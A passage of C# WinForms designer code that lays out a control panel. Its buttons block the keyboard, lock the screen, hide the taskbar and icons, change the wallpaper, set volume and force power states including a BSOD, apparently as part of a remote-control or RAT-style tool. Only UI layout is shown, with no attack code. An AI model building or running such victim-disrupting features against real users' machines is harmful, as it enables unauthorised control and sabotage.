System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.blockKeyboardGuna2CheckBox.Location = new System.Drawing.Point(5, 45); this.blockKeyboardGuna2CheckBox.Name = "blockKeyboardGuna2CheckBox"; this.blockKeyboardGuna2CheckBox.Size = new System.Drawing.Size(107, 17); this.blockKeyboardGuna2CheckBox.TabIndex = 50; this.blockKeyboardGuna2CheckBox.Text = "Block Keyboard"; this.blockKeyboardGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.blockKeyboardGuna2CheckBox.UncheckedState.BorderRadius = 0; this.blockKeyboardGuna2CheckBox.UncheckedState.BorderThickness = 0; this.blockKeyboardGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.blockKeyboardGuna2CheckBox.CheckedChanged += new System.EventHandler(this.blockKeyboardGuna2CheckBox_CheckedChanged); // // guna2GroupBox5 // this.guna2GroupBox5.Anchor = System.Windows.Forms.AnchorStyles.None; this.guna2GroupBox5.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.guna2GroupBox5.BorderThickness = 0; this.guna2GroupBox5.Controls.Add(this.screenlockerGuna2CheckBox); this.guna2GroupBox5.Controls.Add(this.showDesktopIconsGuna2Button); this.guna2GroupBox5.Controls.Add(this.hideDesktopIconsGuna2Button); this.guna2GroupBox5.Controls.Add(this.label10); this.guna2GroupBox5.Controls.Add(this.label9); this.guna2GroupBox5.Controls.Add(this.showTaskbarGuna2Button); this.guna2GroupBox5.Controls.Add(this.hideTaskbarGuna2Button); this.guna2GroupBox5.Controls.Add(this.wallpaperGuna2Button); this.guna2GroupBox5.Controls.Add(this.label8); this.guna2GroupBox5.CustomBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.guna2GroupBox5.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.guna2GroupBox5.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.guna2GroupBox5.Location = new System.Drawing.Point(275, 15); this.guna2GroupBox5.Name = "guna2GroupBox5"; this.guna2GroupBox5.Padding = new System.Windows.Forms.Padding(2, 42, 2, 2); this.guna2GroupBox5.Size = new System.Drawing.Size(382, 222); this.guna2GroupBox5.TabIndex = 55; this.guna2GroupBox5.Text = "UI"; // // screenlockerGuna2CheckBox // this.screenlockerGuna2CheckBox.AutoSize = true; this.screenlockerGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.screenlockerGuna2CheckBox.CheckedState.BorderRadius = 0; this.screenlockerGuna2CheckBox.CheckedState.BorderThickness = 0; this.screenlockerGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.screenlockerGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.screenlockerGuna2CheckBox.Location = new System.Drawing.Point(4, 205); this.screenlockerGuna2CheckBox.Name = "screenlockerGuna2CheckBox"; this.screenlockerGuna2CheckBox.Size = new System.Drawing.Size(90, 17); this.screenlockerGuna2CheckBox.TabIndex = 62; this.screenlockerGuna2CheckBox.Text = "Screenlocker"; this.screenlockerGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.screenlockerGuna2CheckBox.UncheckedState.BorderRadius = 0; this.screenlockerGuna2CheckBox.UncheckedState.BorderThickness = 0; this.screenlockerGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.screenlockerGuna2CheckBox.CheckedChanged += new System.EventHandler(this.screenlockerGuna2CheckBox_CheckedChanged); // // showDesktopIconsGuna2Button // this.showDesktopIconsGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.showDesktopIconsGuna2Button.Animated = true; this.showDesktopIconsGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.showDesktopIconsGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.showDesktopIconsGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.showDesktopIconsGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.showDesktopIconsGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.showDesktopIconsGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.showDesktopIconsGuna2Button.ForeColor = System.Drawing.Color.White; this.showDesktopIconsGuna2Button.Location = new System.Drawing.Point(241, 160); this.showDesktopIconsGuna2Button.Name = "showDesktopIconsGuna2Button"; this.showDesktopIconsGuna2Button.Size = new System.Drawing.Size(136, 36); this.showDesktopIconsGuna2Button.TabIndex = 61; this.showDesktopIconsGuna2Button.Text = "Show"; this.showDesktopIconsGuna2Button.Click += new System.EventHandler(this.showDesktopIconsGuna2Button_Click); // // hideDesktopIconsGuna2Button // this.hideDesktopIconsGuna2Button.Animated = true; this.hideDesktopIconsGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.hideDesktopIconsGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.hideDesktopIconsGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.hideDesktopIconsGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.hideDesktopIconsGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.hideDesktopIconsGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.hideDesktopIconsGuna2Button.ForeColor = System.Drawing.Color.White; this.hideDesktopIconsGuna2Button.Location = new System.Drawing.Point(94, 160); this.hideDesktopIconsGuna2Button.Name = "hideDesktopIconsGuna2Button"; this.hideDesktopIconsGuna2Button.Size = new System.Drawing.Size(136, 36); this.hideDesktopIconsGuna2Button.TabIndex = 60; this.hideDesktopIconsGuna2Button.Text = "Hide"; this.hideDesktopIconsGuna2Button.Click += new System.EventHandler(this.hideDesktopIconsGuna2Button_Click); // // label10 // this.label10.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label10.Location = new System.Drawing.Point(1, 159); this.label10.Name = "label10"; this.label10.Size = new System.Drawing.Size(86, 38); this.label10.TabIndex = 59; this.label10.Text = "Desktop Icons :"; this.label10.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // label9 // this.label9.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label9.Location = new System.Drawing.Point(1, 106); this.label9.Name = "label9"; this.label9.Size = new System.Drawing.Size(75, 38); this.label9.TabIndex = 58; this.label9.Text = "Taskbar :"; this.label9.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // showTaskbarGuna2Button // this.showTaskbarGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); this.showTaskbarGuna2Button.Animated = true; this.showTaskbarGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.showTaskbarGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.showTaskbarGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.showTaskbarGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.showTaskbarGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.showTaskbarGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.showTaskbarGuna2Button.ForeColor = System.Drawing.Color.White; this.showTaskbarGuna2Button.Location = new System.Drawing.Point(240, 108); this.showTaskbarGuna2Button.Name = "showTaskbarGuna2Button"; this.showTaskbarGuna2Button.Size = new System.Drawing.Size(136, 36); this.showTaskbarGuna2Button.TabIndex = 57; this.showTaskbarGuna2Button.Text = "Show"; this.showTaskbarGuna2Button.Click += new System.EventHandler(this.showTaskbarGuna2Button_Click); // // hideTaskbarGuna2Button // this.hideTaskbarGuna2Button.Animated = true; this.hideTaskbarGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.hideTaskbarGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.hideTaskbarGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.hideTaskbarGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.hideTaskbarGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.hideTaskbarGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.hideTaskbarGuna2Button.ForeColor = System.Drawing.Color.White; this.hideTaskbarGuna2Button.Location = new System.Drawing.Point(93, 108); this.hideTaskbarGuna2Button.Name = "hideTaskbarGuna2Button"; this.hideTaskbarGuna2Button.Size = new System.Drawing.Size(136, 36); this.hideTaskbarGuna2Button.TabIndex = 56; this.hideTaskbarGuna2Button.Text = "Hide"; this.hideTaskbarGuna2Button.Click += new System.EventHandler(this.hideTaskbarGuna2Button_Click); // // wallpaperGuna2Button // this.wallpaperGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.wallpaperGuna2Button.Animated = true; this.wallpaperGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.wallpaperGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.wallpaperGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.wallpaperGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.wallpaperGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.wallpaperGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.wallpaperGuna2Button.ForeColor = System.Drawing.Color.White; this.wallpaperGuna2Button.Location = new System.Drawing.Point(93, 56); this.wallpaperGuna2Button.Name = "wallpaperGuna2Button"; this.wallpaperGuna2Button.Size = new System.Drawing.Size(283, 36); this.wallpaperGuna2Button.TabIndex = 55; this.wallpaperGuna2Button.Text = "Change"; this.wallpaperGuna2Button.Click += new System.EventHandler(this.wallpaperGuna2Button_Click); // // label8 // this.label8.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label8.Location = new System.Drawing.Point(1, 56); this.label8.Name = "label8"; this.label8.Size = new System.Drawing.Size(75, 38); this.label8.TabIndex = 50; this.label8.Text = "Wallpaper :"; this.label8.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // guna2GroupBox6 // this.guna2GroupBox6.Anchor = System.Windows.Forms.AnchorStyles.None; this.guna2GroupBox6.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.guna2GroupBox6.BorderThickness = 0; this.guna2GroupBox6.Controls.Add(this.volumeDownGuna2Button); this.guna2GroupBox6.Controls.Add(this.volumeUpGuna2Button); this.guna2GroupBox6.CustomBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.guna2GroupBox6.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.guna2GroupBox6.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.guna2GroupBox6.Location = new System.Drawing.Point(664, 176); this.guna2GroupBox6.Name = "guna2GroupBox6"; this.guna2GroupBox6.Padding = new System.Windows.Forms.Padding(2, 42, 2, 2); this.guna2GroupBox6.Size = new System.Drawing.Size(351, 169); this.guna2GroupBox6.TabIndex = 55; this.guna2GroupBox6.Text = "Audio"; // // volumeDownGuna2Button // this.volumeDownGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.volumeDownGuna2Button.Animated = true; this.volumeDownGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.volumeDownGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.volumeDownGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.volumeDownGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.volumeDownGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.volumeDownGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.volumeDownGuna2Button.ForeColor = System.Drawing.Color.White; this.volumeDownGuna2Button.Location = new System.Drawing.Point(0, 73); this.volumeDownGuna2Button.Name = "volumeDownGuna2Button"; this.volumeDownGuna2Button.Size = new System.Drawing.Size(351, 36); this.volumeDownGuna2Button.TabIndex = 39; this.volumeDownGuna2Button.Text = "Volume Down"; this.volumeDownGuna2Button.Click += new System.EventHandler(this.volumeDownGuna2Button_Click); // // volumeUpGuna2Button // this.volumeUpGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.volumeUpGuna2Button.Animated = true; this.volumeUpGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.volumeUpGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.volumeUpGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.volumeUpGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.volumeUpGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.volumeUpGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.volumeUpGuna2Button.ForeColor = System.Drawing.Color.White; this.volumeUpGuna2Button.Location = new System.Drawing.Point(0, 133); this.volumeUpGuna2Button.Name = "volumeUpGuna2Button"; this.volumeUpGuna2Button.Size = new System.Drawing.Size(351, 36); this.volumeUpGuna2Button.TabIndex = 38; this.volumeUpGuna2Button.Text = "Volume Up"; this.volumeUpGuna2Button.Click += new System.EventHandler(this.volumeUpGuna2Button_Click); // // guna2GroupBox8 // this.guna2GroupBox8.Anchor = System.Windows.Forms.AnchorStyles.None; this.guna2GroupBox8.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.guna2GroupBox8.BorderThickness = 0; this.guna2GroupBox8.Controls.Add(this.powerStateGuna2ComboBox); this.guna2GroupBox8.Controls.Add(this.setPowerGuna2Button); this.guna2GroupBox8.CustomBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.guna2GroupBox8.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.guna2GroupBox8.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.guna2GroupBox8.Location = new System.Drawing.Point(15, 243); this.guna2GroupBox8.Name = "guna2GroupBox8"; this.guna2GroupBox8.Padding = new System.Windows.Forms.Padding(2, 42, 2, 2); this.guna2GroupBox8.Size = new System.Drawing.Size(637, 127); this.guna2GroupBox8.TabIndex = 57; this.guna2GroupBox8.Text = "Power"; // // powerStateGuna2ComboBox // this.powerStateGuna2ComboBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.powerStateGuna2ComboBox.Animated = true; this.powerStateGuna2ComboBox.AutoRoundedCorners = true; this.powerStateGuna2ComboBox.BackColor = System.Drawing.Color.White; this.powerStateGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.powerStateGuna2ComboBox.BorderRadius = 17; this.powerStateGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; this.powerStateGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.powerStateGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.powerStateGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.powerStateGuna2ComboBox.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.powerStateGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.powerStateGuna2ComboBox.ItemHeight = 30; this.powerStateGuna2ComboBox.Items.AddRange(new object[] { "Shutdown", "Reboot", "Log out", "BSOD", "Lock Workstation", "Hibernate", "Suspend"}); this.powerStateGuna2ComboBox.Location = new System.Drawing.Point(0, 45); this.powerStateGuna2ComboBox.Name = "powerStateGuna2ComboBox"; this.powerStateGuna2ComboBox.Size = new System.Drawing.Size(637, 36); this.powerStateGuna2ComboBox.StartIndex = 0; this.powerStateGuna2ComboBox.TabIndex = 55; this.powerStateGuna2ComboBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; // // setPowerGuna2Button // this.setPowerGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.setPowerGuna2Button.Animated = true; this.setPowerGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.setPowerGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.setPowerGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.setPowerGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.setPowerGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.setPowerGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.setPowerGuna2Button.ForeColor = System.Drawing.Color.White; this.setPowerGuna2Button.Location = new System.Drawing.Point(-1, 87); this.setPowerGuna2Button.Name = "setPowerGuna2Button"; this.setPowerGuna2Button.Size = new System.Drawing.Size(637, 36); this.setPowerGuna2Button.TabIndex = 38; this.setPowerGuna2Button.Text = "Set power state"; this.setPowerGuna2Button.Click += new System.EventHandler(this.setPowerGuna2Button_Click); // // guna2GroupBox4 // this.guna2GroupBox4.Anchor = System.Windows.Forms.AnchorStyles.None; this.guna2GroupBox4.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.guna2GroupBox4.BorderThickness = 0; this.guna2GroupBox4.Controls.Add(this.degreesGuna2ComboBox); this.guna2GroupBox4.Controls.Add(this.rotateScreenGuna2Button); this.guna2GroupBox4.CustomBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.guna2GroupBox4.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.guna2GroupBox4.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.guna2GroupBox4.Location = new System.Drawing.Point(15, 109); this.guna2GroupBox4.Name = "guna2GroupBox4"; this.guna2GroupBox4.Padding = new System.Windows.Forms.Padding(2, 42, 2, 2); this.guna2GroupBox4.Size = new System.Drawing.Size(254, 91); this.guna2GroupBox4.TabIndex = 52; this.guna2GroupBox4.Text = "Screen"; // // degreesGuna2ComboBox // this.degreesGuna2ComboBox.Animated = true; this.degreesGuna2ComboBox.AutoRoundedCorners = true; this.degreesGuna2ComboBox.BackColor = System.Drawing.Color.White; this.degreesGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.degreesGuna2ComboBox.BorderRadius = 17; this.degreesGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; this.degreesGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.degreesGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.degreesGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.degreesGuna2ComboBox.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.degreesGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.degreesGuna2ComboBox.ItemHeight = 30; this.degreesGuna2ComboBox.Items.AddRange(new object[] { "0", "90", "180", "270"}); this.degreesGuna2ComboBox.Location = new System.Drawing.Point(5, 45); this.degreesGuna2ComboBox.Name = "degreesGuna2ComboBox"; this.degreesGuna2ComboBox.Size = new System.Drawing.Size(77, 36); this.degreesGuna2ComboBox.StartIndex = 0; this.degreesGuna2ComboBox.TabIndex = 54; this.degreesGuna2ComboBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; // // rotateScreenGuna2Button // this.rotateScreenGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.rotateScreenGuna2Button.Animated = true; this.rotateScreenGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.rotateScreenGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.rotateScreenGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.rotateScreenGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.rotateScreenGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.rotateScreenGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.rotateScreenGuna2Button.ForeColor = System.Drawing.Color.White; this.rotateScreenGuna2Button.Location = new System.Drawing.Point(88, 45); this.rotateScreenGuna2Button.Name = "rotateScreenGuna2Button"; this.rotateScreenGuna2Button.Size = new System.Drawing.Size(161, 36); this.rotateScreenGuna2Button.TabIndex = 38; this.rotateScreenGuna2Button.Text = "Rotate"; this.rotateScreenGuna2Button.Click += new System.EventHandler(this.rotateScreenGuna2Button_Click); // // guna2GroupBox7 // this.guna2GroupBox7.Anchor = System.Windows.Forms.AnchorStyles.None; this.guna2GroupBox7.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.guna2GroupBox7.BorderThickness = 0; this.guna2GroupBox7.Controls.Add(this.linkWebGuna2TextBox); this.guna2GroupBox7.Controls.Add(this.linkWebGuna2Button); this.guna2GroupBox7.CustomBorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.guna2GroupBox7.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.guna2GroupBox7.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.guna2GroupBox7.Location = new System.Drawing.Point(664, 15); this.guna2GroupBox7.Name = "guna2GroupBox7"; this.guna2GroupBox7.Padding = new System.Windows.Forms.Padding(2, 42, 2, 2); this.guna2GroupBox7.Size = new System.Drawing.Size(351, 155); this.guna2GroupBox7.TabIndex = 56; this.guna2GroupBox7.Text = "Web"; // // linkWebGuna2TextBox // this.linkWebGuna2TextBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.linkWebGuna2TextBox.Animated = true; this.linkWebGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.linkWebGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam; this.linkWebGuna2TextBox.DefaultText = ""; this.linkWebGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208))))); this.linkWebGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226))))); this.linkWebGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.linkWebGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.linkWebGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.linkWebGuna2TextBox.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.linkWebGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.linkWebGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.linkWebGuna2TextBox.Location = new System.Drawing.Point(0, 56); this.linkWebGuna2TextBox.Name = "linkWebGuna2TextBox"; this.linkWebGuna2TextBox.PasswordChar = '\0'; this.linkWebGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro; this.linkWebGuna2TextBox.PlaceholderText = "Link"; this.linkWebGuna2TextBox.SelectedText = ""; this.linkWebGuna2TextBox.Size = new System.Drawing.Size(351, 36); this.linkWebGuna2TextBox.TabIndex = 55; // // linkWebGuna2Button // this.linkWebGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.linkWebGuna2Button.Animated = true; this.linkWebGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.linkWebGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.linkWebGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.linkWebGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.linkWebGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), 